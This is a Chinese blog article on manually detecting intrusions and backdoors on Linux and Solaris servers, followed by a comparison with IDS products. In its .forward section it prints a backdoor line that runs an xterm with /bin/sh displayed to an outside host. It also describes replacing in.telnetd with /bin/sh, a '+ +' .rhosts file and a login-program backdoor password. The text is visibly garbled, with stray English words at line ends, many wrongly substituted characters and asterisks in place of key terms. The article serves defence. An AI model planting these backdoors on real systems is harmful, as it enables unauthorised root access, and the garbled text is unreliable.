一、检查系统密码文件html
首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。linux
检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。shell
二、查看一下进程,看看有没有奇怪的进程windows
重点查看进程:安全
ps –aef | grep inetd服务器
inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,若是你看到输出了一个相似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常状况下,LINUX系统中的inetd服务后面是没有-s参数的,固然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,一样没有用inetd去启动某个特定的文件;若是你使用ps命令看到inetd启动了某个文件,而你本身又没有用inetd启动这个文件,那就说明已经有人***了你的系统,而且以root权限起了一个简单的后门。网络
输入ps –aef 查看输出信息,尤为注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为***者留下的后门程序,当即运行kill –9 pid 开杀死该进程,而后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死之后又从新启动的现象,则证实系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被***者放置了后门,根据找到的程序所在的目录,会找到不少有趣的东东Jdom
UNIX下隐藏进程有的时候经过替换ps文件来作,检测这种方法涉及到检查文件完整性,稍后咱们再讨论这种方法。接下来根据找到***者在服务器上的文件目录,一步一步进行追踪。tcp
三、检查系统守护进程ide
检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。
通常***者能够经过直接替换in.xxx程序来建立一个后门,好比用/bin/sh 替换掉in.telnetd,而后从新启动inetd服务,那么telnet到服务器上的全部用户将不用输入用户名和密码而直接得到一个rootshell。
四、检查网络链接和监听端口
输入netstat -an,列出本机全部的链接和监听的端口,查看有没有非法链接。
输入netstat –rn,查看本机的路由、网关设置是否正确。
输入 ifconfig –a,查看网卡设置。
五、检查系统日志
命令last | more查看在正常状况下登陆到本机的全部用户的历史记录。但last命令依赖于syslog进程,这已经成为***者***的重要目标。***者一般会中止系统的syslog,查看系统syslog进程的状况,判断syslog上次启动的时间是否正常,由于syslog是以root身份执行的,若是发现syslog被非法动过,那说明有重大的***事件。
在linux下输入ls –al /var/log
在solaris下输入 ls –al /var/adm
检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除***痕迹的一种方法。
六、检查系统中的core文件
经过发送畸形请求来***服务器的某一服务来***系统是一种常规的***方法,典型的RPC***就是经过这种方式。这种方式有必定的成功率,也就是说它并不能100%保证成功***系统,并且一般会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有***行为。
七、.rhosts和.forward
这是两种比较著名的后门文件,若是想检查你的系统是否被***者安装了后门,不妨全局查找这两个文件:
find / -name “.rhosts” –print
find / -name “.forward” –print
在某用户的$HOME下,.rhosts文件中仅包含两个+号是很是危险的,若是你的系统上开了513端口(rlogin端口,和telnet做用相同),那么任意是谁均可以用这个用户登陆到你的系统上而不须要任何验证。
Unix下在.forward文件里放入命令是从新得到访问的经常使用方法在某一 用户$HOME下的.forward可能设置以下:
\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
这种方法的变形包括改变系统的mail的别名文件(一般位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的可以从.forward中运行简单脚本实如今标准输入执行任意命令(小部分预处理后).利用smrsh能够有效的制止这种后门(虽然若是容许能够自运行的elm's filter或procmail类程序, 颇有可能还有问题。在Solaris系统下,若是你运行以下命令:
ln -s /var/mail/luser ~/.forward
而后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。直接删除掉这两个文件也能够。
八、检查系统文件完整性
检查文件的完整性有多种方法,一般咱们经过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但仍是有必定的实用性。可是若是ls文件都已经被替换了就比较麻烦。在LINUX下能够用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也不少,这里不一一赘述,能够man rpm来得到更多的格式。
UNIX系统中,/bin/login是被***者常常替换做为后门的文件,接下来谈一下login后门 :
UNIX里,Login程序一般用来对telnet来的用户进行口令验证。***者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。若是用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将容许***者进入任何帐号,甚至是root目录。因为后门口令是在用户真实登陆并被日志记录到utmp和wtmP前产生的一个访问,因此***者能够登陆获取shell却不会暴露该帐号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多状况下后门口令会原形毕露。***者又会开始加密或者更改隐藏口令,使strings命令失效。因此许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式以下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。
在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,若是你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
能够看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,***者每每经过替换守护进程中容许的服务文件来为本身建立一个后门。
LINUX系统中的/etc/crontab也是常常被***者利用的一个文件,检查该文件的完整性,能够直接cat /etc/crontab,仔细阅读该文件有没有被***者利用来作其余的事情。
不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦从新启动,这个进程就被杀死了,因此得让这个后门在系统启动的时候也启动起来。一般经过检查/etc/rc.d下的文件来查看系统启动的时候是否是带有后门程序;这个方法怎么有点象查windows下的trojan?
说到这里,另外提一下,若是在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个代表任何用户进来之后运行这个文件均可以得到一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,而后删除这样的文件。
九、检查内核级后门
若是你的系统被人安装了这种后门,一般都是比较讨厌的,我经常就在想,遇到这种状况仍是从新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里须要说明的是,通常默认安装的LINUX加载的模块都比较少,一般就是网卡的驱动;而solaris下就不少,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,不然***者将有可能再次对系统调用进行替换。咱们能够经过替换create_module()和delete_module()来达到上述目的。
另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被***者替换。若是系统被加载了后门模块,可是在模块列表/proc/module里又看不到它们,有多是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种状况,须要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和假装的进程。Knark后门模块就在/proc/knark目录,固然可能这个目录是隐藏的。
十、手工***检测的缺陷
上面谈了一些手工***检测的方法,但这些方式有必定的缺陷,有的甚至是不可避免的缺陷,这就是为何说手工检测是“体力活”的缘由。咱们先来看看这些缺陷:
1)手工***检测只能基于主机,也就是说全部的***检测工做只能在操做系统下面完成,这是它固有的缺陷;基本上全部凌驾于操做系统以外的***行为通通没法探测获得。网络级的***,交换机、路由器上面的***和***行为,做为服务器的操做系统都没法得知;信息已经从主机发送出去了,若是在传送的介质当中被拦截,主机的操做系统是永远无动于衷的。
2)手工的***检测要求精通操做系统,而且漏洞库资料的刷新要快;在作一个网管的同时要作一个***。能够说经验的积累永远跟不上全世界漏洞资料的更新,难保系统不被新的漏洞所侵入。
3)手工***检测只是“就事论事”,根据发生的某一状况判断***事件,再做出相应的对应和防范措施,而没法预先根据***者的探测行为做出对***事件的描述,定义事件级别,在不防碍系统正常工做的状况下阻止下一步对系统的***行为。
4)能够经过手工***检测发现主机上的某些漏洞,进而做出相应的安全措施。但却避免不了一种现象:没法避免两个***者利用同一个漏洞***主机,即没法判断***模式来切断***行为。
5)综上所述,手工的***检测行为对于系统安全来讲只是治标而不治本,多半仍是依靠管理员的技巧和经验来加强系统的安全性,没有,也不可能造成真正的安全体系,虽然聊胜于无,能够检测和追踪到某些***行为,但若是碰上一样精通系统的***者就很难抓住踪影了。
十一、***检测系统的比较
搭建真正的安全体系须要***检测系统—IDS,一个优秀的***检测系统辅以系统管理员的技巧和经验能够造成真正的安全体系,有效判断和切断***行为,真正保护主机、资料。人们有时候会觉得ISS的realsecure是优秀的***检测系统,其实否则,realsecure带有必定的缺陷,不谈它对事件的误报、漏报和错报,首先它是一个英文的软件,使用和熟悉起来有必定的难度。并且因为是外国人的软件,不少hack对realsecure有深刻的研究,已经发掘出它的一些漏洞,甚至是固有漏洞,我就曾经测试出有的***手段能够令realsecure瘫痪。
再者,realsecure也是架设在服务器操做系统之上的,操做系统中止工做,一样令之中止工做,换句话说,很简单,***者***的目标每每就是realsecure自己。设想,假设你的系统依赖于***检测系统,而***检测系统被***者搞掉,那你的系统将大门敞开,任由出入,后果不堪设想。
做者:艾森豪威迩
来源:https://www.cnblogs.com/xiaoit/p/4066373.html